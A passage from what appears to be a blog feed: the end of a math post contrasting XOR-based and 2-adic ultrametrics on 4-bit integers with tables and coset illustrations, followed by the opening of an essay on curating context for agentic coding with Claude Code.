<p>Or equivalently: compute \(x \oplus y\), then take \(2^{\lfloor \log_2(x \oplus y) \rfloor}\) — the value of the most significant set bit of the XOR.</p>

<p>For example, verify:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">pair</th>
      <th style="text-align: center">\(x \oplus y\)</th>
      <th style="text-align: center">binary</th>
      <th style="text-align: center">highest bit</th>
      <th style="text-align: center">\(d_\oplus\)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">\(d_\oplus(5,\ 6)\)</td>
      <td style="text-align: center">\(3\)</td>
      <td style="text-align: center">\(0011\)</td>
      <td style="text-align: center">bit 1</td>
      <td style="text-align: center">\(2^1 = 2\)</td>
    </tr>
    <tr>
      <td style="text-align: center">\(d_\oplus(6,\ 14)\)</td>
      <td style="text-align: center">\(8\)</td>
      <td style="text-align: center">\(1000\)</td>
      <td style="text-align: center">bit 3</td>
      <td style="text-align: center">\(2^3 = 8\)</td>
    </tr>
    <tr>
      <td style="text-align: center">\(d_\oplus(5,\ 5)\)</td>
      <td style="text-align: center">\(0\)</td>
      <td style="text-align: center">\(0000\)</td>
      <td style="text-align: center">—</td>
      <td style="text-align: center">\(0\)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Note:</strong> the astute reader might have noticed that the raw integer value \(x \oplus y\) is <em>not</em> an ultrametric because it fails for triples like \((5, 6, 3)\) where \(5 \oplus 3 = 6 &gt; \max(5 \oplus 6, 6 \oplus 3) = \max(3, 5)\).
The fix is — as we’ve seen above — to use the highest-bit value, which rounds each XOR <em>down</em> (notice the floor op) to the largest power of 2 that doesn’t exceed it.
Make sure this is clear.</p>
</blockquote>

<p>Does \((2)\) satisfy the three metric rules?
Definitely.
But it satisfies something stronger: the ultrametric inequality we defined in \((1)\).
<strong>Why?</strong>
Because at the bit level, the highest bit where \(x\) and \(z\) disagree must already be a bit where either \(x\) and \(y\) disagree, or \(y\) and \(z\) disagree.
If both \(y\) agreed with \(x\) and \(z\) on that bit, then \(x\) and \(z\) would have to agree on it too — that’s a contradiction.</p>

<style>
dialog:not([open]){display:none}
dialog{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);padding:0;background:#000;border:1px solid #333;border-radius:6px;outline:none}
dialog::backdrop{background:rgba(0,0,0,.75)}
dialog[open]#dlg-balls{display:flex;flex-direction:column}
dialog[open]#dlg-clustering{display:flex;flex-direction:column}
</style>

<div style="text-align:center;cursor:zoom-in" onclick="document.getElementById('dlg-svg').showModal()">
    <img src="../assets/2026-04-12-p-adic/ultrametric_xor_bit_proof_with_distances.svg" class="responsive" />
</div>
<dialog id="dlg-svg" style="width:80vw;max-width:80vw">
  <img src="../assets/2026-04-12-p-adic/ultrametric_xor_bit_proof_with_distances.svg" style="width:100%;height:auto;display:block" />
</dialog>

<p>Now, are some weird consequences of these facts:
two balls are always either disjoint or one contains the other.
In Euclidean space, two circles can easily form a Venn diagram where they share some area but not all of it.
In an ultrametric space, this is mathematically impossible.
And every point inside a ball is equally a center of that ball.
Moreover, every interior point sees the exact same set of neighbours.
The geometry has no “edges” — only “inside” and “outside.”
Here’s your ball in an ultrametric space (wait, you thought it’s gonna be a round physical sphere?):</p>
<div style="position:relative">
  <iframe src="../assets/2026-04-12-p-adic/ultrametric_balls_3d.html" style="width:100%;height:460px;border:none;display:block"></iframe>
  <button onclick="document.getElementById('dlg-balls').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-balls" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-04-12-p-adic/ultrametric_balls_3d.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>
<script>
document.querySelectorAll('dialog').forEach(d=>d.addEventListener('click',e=>{if(e.target===d)d.close()}));
</script>

<p>Let’s now think a bit about closeness — what does XOR-closeness actually mean?</p>

<p>Two numbers are close when their XOR is small — i.e., when the most significant differing bit is low.
That means their <strong>leading (high-order) bits agree</strong>.</p>

<p>Take 4-bit integers and look at who is close to <code class="language-plaintext highlighter-rouge">0000</code>:</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th>\(d_\oplus\) from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>cluster</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td>\(0\)</td>
      <td>← center</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td>\(2^0 = 1\)</td>
      <td>\(B(0000, 1) = \{0000, 0001\}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td>\(2^1 = 2\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td>\(2^1 = 2\)</td>
      <td>\(B(0000, 2) = \{0000, \ldots, 0011\}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td>\(2^2 = 4\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td>\(2^2 = 4\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td>\(2^2 = 4\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td>\(2^2 = 4\)</td>
      <td>\(B(0000, 4) = \{0000, \ldots, 0111\}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td>\(2^3 = 8\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(B(0000, 8) = \{0000, \ldots, 1111\}\)</td>
    </tr>
  </tbody>
</table>

<p>The cluster column closes at the last member of each ball — so you can read the table as a sequence of nested containments: each ball swallows the previous one whole, and the groups double in size at each step (1, 2, 4, 8 members).</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Now forget XOR entirely.
Here’s a completely different question.
What if we defined “closeness” by <strong>shared trailing digits</strong> instead?</p>

<p>Let’s say two integers are “close” if their <em>difference</em> is divisible by a high power of 2.
That is:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">pair</th>
      <th style="text-align: center">difference</th>
      <th style="text-align: center">highest power of 2 dividing it</th>
      <th style="text-align: center">close?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">\(4,\ 12\)</td>
      <td style="text-align: center">\(8 = 2^3\)</td>
      <td style="text-align: center">\(2^3\)</td>
      <td style="text-align: center">yes</td>
    </tr>
    <tr>
      <td style="text-align: center">\(3,\ 7\)</td>
      <td style="text-align: center">\(4 = 2^2\)</td>
      <td style="text-align: center">\(2^2\)</td>
      <td style="text-align: center">yes</td>
    </tr>
    <tr>
      <td style="text-align: center">\(1,\ 2\)</td>
      <td style="text-align: center">\(1\)</td>
      <td style="text-align: center">\(2^0\)</td>
      <td style="text-align: center">no</td>
    </tr>
  </tbody>
</table>

<p>In this bizarre new metric, larger powers mean smaller distances.
The key quantity is: <strong>how many times does 2 divide a number?</strong>
Let’s give it a name — the <em>2-adic valuation</em> \(v_2(n)\):</p>

\[v_2(n) = \text{trailing zeros in the binary representation of } n \tag{3}\]

<p>Some examples:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">\(n\)</th>
      <th style="text-align: center">binary</th>
      <th style="text-align: center">\(v_2(n)\)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">\(8\)</td>
      <td style="text-align: center">\(1000_2\)</td>
      <td style="text-align: center">\(3\)</td>
    </tr>
    <tr>
      <td style="text-align: center">\(7\)</td>
      <td style="text-align: center">\(0111_2\)</td>
      <td style="text-align: center">\(0\)</td>
    </tr>
    <tr>
      <td style="text-align: center">\(6\)</td>
      <td style="text-align: center">\(0110_2\)</td>
      <td style="text-align: center">\(1\)</td>
    </tr>
    <tr>
      <td style="text-align: center">\(5\)</td>
      <td style="text-align: center">\(0101_2\)</td>
      <td style="text-align: center">\(0\)</td>
    </tr>
    <tr>
      <td style="text-align: center">\(0\)</td>
      <td style="text-align: center">—</td>
      <td style="text-align: center">\(\infty\)</td>
    </tr>
  </tbody>
</table>

<p>Now, let’s define the <strong>2-adic metric</strong> as:</p>

\[d_2(x, y) = 2^{-v_2(x - y)} \tag{4}\]

<p>Small \(d_2\) means \(v_2(x-y)\) is large, which means \(x - y\) is divisible by a high power of 2, which means \(x\) and \(y\) agree on many trailing bits.</p>

<p>Let’s check who is close to \(0\) under this metric (all 4-bit integers, sorted by distance):</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th>\(d_2\) from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>cluster</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td>\(0\)</td>
      <td>← center</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td>\(2^{-3} = 0.125\)</td>
      <td>\(B(0000, 0.125) = \{0000, 1000\}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td>\(2^{-2} = 0.25\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td>\(2^{-2} = 0.25\)</td>
      <td>\(B(0000, 0.25) = \{0000, \ldots, 1100\}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td>\(2^{-1} = 0.5\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td>\(2^{-1} = 0.5\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td>\(2^{-1} = 0.5\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td>\(2^{-1} = 0.5\)</td>
      <td>\(B(0000, 0.5) = \{0000, \ldots, 1110\}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td>\(2^{0} = 1\)</td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td>\(2^{0} = 1\)</td>
      <td>\(B(0000, 1) = \{0000, \ldots, 1111\}\)</td>
    </tr>
  </tbody>
</table>

<p>The cluster column closes at the last member of each ball — same nested-containment structure as XOR, balls doubling in size at each step (2, 4, 8, 16 members).
But notice: <code class="language-plaintext highlighter-rouge">1000</code> is the <em>closest</em> to <code class="language-plaintext highlighter-rouge">0000</code> because they share three trailing zeros, yet they differ in their <em>leading</em> bit and are maximally far under the XOR metric.</p>

<p>The 2-adic metric also satisfies the ultrametric inequality, with the same alien geometry — disjoint-or-nested balls, every interior point is a center, etc.
Verify that this is true.</p>

<p>Before we move on, a brief historical note.
The p-adic numbers were invented by <a href="https://en.wikipedia.org/wiki/Kurt_Hensel">Kurt Hensel</a> in 1897.
He introduced them in a paper that year and expanded the theory in his 1908 book <em>Theorie der algebraischen Zahlen</em>.
The motivation was analogy with power series in complex analysis: just as you can expand a function as \(\sum a_n x^n\), Hensel wanted to expand integers as \(\sum a_n p^n\).</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Here are both metrics side by side for all 4-bit integers 0–15.
Let’s put them in order and watch the two clusterings diverge:</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th>\(d_\oplus\) from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>\(d_2\) from <code class="language-plaintext highlighter-rouge">0000</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td>\(0\)</td>
      <td>\(0\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0001</code></td>
      <td>\(2^0 = 1\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0010</code></td>
      <td>\(2^1 = 2\)</td>
      <td>\(0.500 = 2^{-1}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0011</code></td>
      <td>\(2^1 = 2\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td>\(2^2 = 4\)</td>
      <td>\(0.250 = 2^{-2}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0101</code></td>
      <td>\(2^2 = 4\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0110</code></td>
      <td>\(2^2 = 4\)</td>
      <td>\(0.500 = 2^{-1}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0111</code></td>
      <td>\(2^2 = 4\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(0.125 = 2^{-3}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(0.500 = 2^{-1}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(0.250 = 2^{-2}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(0.500 = 2^{-1}\)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td>\(2^3 = 8\)</td>
      <td>\(1.000 = 2^{0}\)</td>
    </tr>
  </tbody>
</table>

<p>That table encodes a very pleasing visual representation, which I’ll render below.
Before we look at the picture, I need one word: <strong>coset</strong>.</p>

<p>A <a href="https://en.wikipedia.org/wiki/Coset">coset</a> is just a shifted copy of a repeating pattern.
Take “all multiples of 4” within 0–15: that’s {0, 4, 8, 12}.
Now shift it by 1: {1, 5, 9, 13}.
Shift by 2: {2, 6, 10, 14}.
Shift by 3: {3, 7, 11, 15}.
We just produced four cosets.</p>

<p>Why do we care here?
Because the <strong>balls</strong> of an ultrametric are cosets.
Every number inside a 2-adic ball of radius \(2^{-k}\) is within \(2^{-k}\) of every other number in that ball — which means all their pairwise differences are divisible by \(2^k\) — which means they all belong to the same residue class modulo \(2^k\).
That’s a coset of the subgroup of multiples of \(2^k\).
The same is true for XOR: every ball is a coset of the subgroup of numbers sharing the same leading \(k\) bits.</p>

<p>So the colors in the picture below are cosets.
Each color = one coset of some subgroup.
The two panels show the two completely different coset structures that the two metrics induce on the same 16 numbers.</p>
<div style="position:relative">
  <iframe src="../assets/2026-04-12-p-adic/xor_vs_2adic_clustering.html" style="width:100%;height:400px;border:none;display:block"></iframe>
  <button onclick="document.getElementById('dlg-clustering').showModal()" style="position:absolute;top:8px;right:8px;z-index:1;background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">⤢</button>
</div>
<dialog id="dlg-clustering" style="width:92vw;height:92vh">
  <div style="display:flex;justify-content:flex-end;padding:6px 8px;flex-shrink:0">
    <button onclick="this.closest('dialog').close()" style="background:#111;border:0.5px solid #333;color:#999;cursor:pointer;padding:4px 8px;font-size:11px;border-radius:4px">✕</button>
  </div>
  <iframe src="../assets/2026-04-12-p-adic/xor_vs_2adic_clustering.html" style="flex:1;width:100%;border:none;display:block"></iframe>
</dialog>

<p>Let’s start by looking at the <strong>XOR panel</strong> first.
It’s now obvious that the table’s rows form solid blocks: 0–3 share one color, 4–7 another, 8–11 another, and lastly, 12–15 another.
They represent contiguous blocks.
All numbers that share their leading bits land together, and the blocks tile the number line without gaps or interleaving.</p>

<p>Now look at the <strong>2-adic panel</strong>.
The colors alternate: 0 and 1 are different shades, 2 and 3 are different, and the pattern keeps splitting as we move to the right.
We immediately notice that even and odd numbers belong to different groups.
But what’s peculiar is that then within the evens, multiples of 4 and non-multiples split again.
Then multiples of 8 split off.
The groups aren’t contiguous ranges — they’re scattered across the number line in a fractal, self-similar pattern.
<a href="https://cerncourier.com/a/who-ordered-all-of-that/">Who ordered that?</a></p>

<p>In the picture you might notice the legend saying things like \(n \equiv 2 \pmod{4}\).
That’s because two numbers share \(k\) trailing bits in binary if and only if their difference is divisible by \(2^k\) — which is just \(x \equiv y \pmod{2^k}\).
“Sharing trailing bits” and “being congruent modulo a power of 2” are cast in the same mould.
So, looking at \(n \equiv 2 \pmod{2^2}\) picks out numbers whose last two bits are <code class="language-plaintext highlighter-rouge">10</code>: that’s 2, 6, 10, 14.
Because we are measuring their distance from 0, we look at how many trailing bits they share with <code class="language-plaintext highlighter-rouge">0000</code> — which happens to be exactly their number of trailing zeros.
They each have exactly one trailing zero, so their 2-adic distance from 0 is \(2^{-1} = 0.5\).</p>

<p>Here’s one last cool part.
The same 16 numbers encode two completely alien notions of “neighborhood.”
<code class="language-plaintext highlighter-rouge">1000</code> (= 8) is the most extreme example: it is tied for <strong>farthest</strong> from <code class="language-plaintext highlighter-rouge">0000</code> under XOR (left-to-right, MSB first), but is the uniquely <strong>closest</strong> number under 2-adic (right-to-left, LSB first) in this 4-bit universe.
One can formally prove the connection, but I’m gonna leave that as an exercise to the reader.</p>

<p>Anyway, isn’t this beautiful?
I hope from now on you’ll always be thinking about trailing bits whenever you deal with a modulo!</p>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="math" /><category term="cs" /><summary type="html"><![CDATA[“Why, sometimes I’ve believed as many as six impossible things before breakfast.” — Carroll]]></summary></entry><entry><title type="html">Cosplaying Competence in the Age of Conditionals</title><link href="https://xm4ch1n3.github.io/2026-03-20-context/" rel="alternate" type="text/html" title="Cosplaying Competence in the Age of Conditionals" /><published>2026-03-20T00:00:00+00:00</published><updated>2026-03-20T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/context</id><content type="html" xml:base="https://xm4ch1n3.github.io/2026-03-20-context/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2026-03-20-context/cover.png" class="responsive" />
</div>
<blockquote>
  <p>“You cannot answer a question that you cannot ask, and you cannot ask a question that you have no words for.”<br />
— Pearl</p>
</blockquote>

<p><strong>tl;dr</strong><br />
The difference between a productive agentic coding session and a catastrophically maladjusted one
is not the model,
and categorically not the phase of the moon—it is the statistical structure of what goes into the context window.
Which is to say, the agent is a conditional distribution and you are part of that conditioning.
You look like you know what you are doing,
but the thing you are actually doing
is curating a conditional distribution’s evidence stream,
and that bears no structural resemblance to the thing you think you are doing,
which is writing software.
The hard-to-swallow pill is that,
while the competence is real,
it is the wrong competence,
because you are competent
at a thing that no longer
exists, or will not for much longer.
I am trying to make that feel obvious
and to dissuade you of the comfortable illusion that
you are still a <em>programmer</em>
issuing imperious commands to the silicon golem,
rather than an <em>experimentalist</em>
cherry-picking the right evidence
from a bewilderingly noisy universe of possible evidence.
In that regard, you are closer to a painstaking, obsessively attentive digital horse whisperer
than to anything resembling a traditional software engineer.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@*+++++++++++++++++++++++++++++++++++++++++++%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@@@%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======#%%%+=====================#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*======%%@@+====================+#%%%*======%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@#==========================================================*%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%@%#######+===========================================*#######%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%*===========================================%@%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%@@%%*===#%%@+===%%@%@@@@@@@%@%===+%@@%===+%@%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%+==+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*==+#%%%+==+%%%%%%%%%%%%%%===+%%%%===+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
</pre>

<p>I had recently <a href="https://x.com/vtemian/status/2032399994636882408?s=20">been invited</a> to tip my hand as a speaker,
to engage in an act of “accidental” self-disclosure in front of an audience
that I had no reason to expect would internalize anything from what I had to say—and who did not, it should be noted, disappoint on that front.
I was given 10 minutes to show and tell about how I use Claude Code,
then lead a table discussion with whoever wanted to sit down and talk about it.
And what ended up happening,
with a kind of inevitability that in retrospect feels almost cosmological,
is that I entered the room as the person with something to teach
and left it as the only person who had learned anything.
The pedagogical term for this, I believe, is a <em>complete failure</em>.</p>

<p>Let me try again.</p>

<pre style="text-align: center; line-height: 1.0; font-size: 4px;">
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
